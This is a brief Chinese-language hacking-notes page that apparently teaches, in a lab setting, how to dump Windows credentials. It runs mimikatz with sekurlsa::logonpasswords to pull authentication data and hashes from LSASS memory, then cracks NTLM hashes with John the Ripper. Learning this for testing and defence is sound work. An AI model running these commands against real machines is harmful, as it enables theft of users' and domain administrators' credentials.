> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/credentials/lsass-and-sam-dump-on-windows.md).
# Windows 上的 LSASS 和 SAM 提取
### 在实验室中执行
在实验室中，我们打开多个 PowerShell 会话：
* 两个使用本地管理员的会话；
* 一个使用域管理员的会话。
然后，我们从本地管理员的 PowerShell 中启动该工具：
```bash
./mimikats.exe
```
### 显示会话信息
在该工具中：
```powershell
sekurlsa::logonpasswords
```
此命令会显示内存中存在的身份验证会话相关信息。
根据上下文，我们可以看到如下信息：
* 连接的用户；
* 域；
* 身份验证类型；
* 哈希；
* 与 Kerberos 相关的票据或项目；
* 交互式或网络会话。
### 破解 NTLM 哈希
如果从实验室中获取到 NTLM 哈希，可以使用 John 进行测试：
```bash
john --format=NT admin.hash
```
这有助于说明弱密码或重复使用密码的风险。
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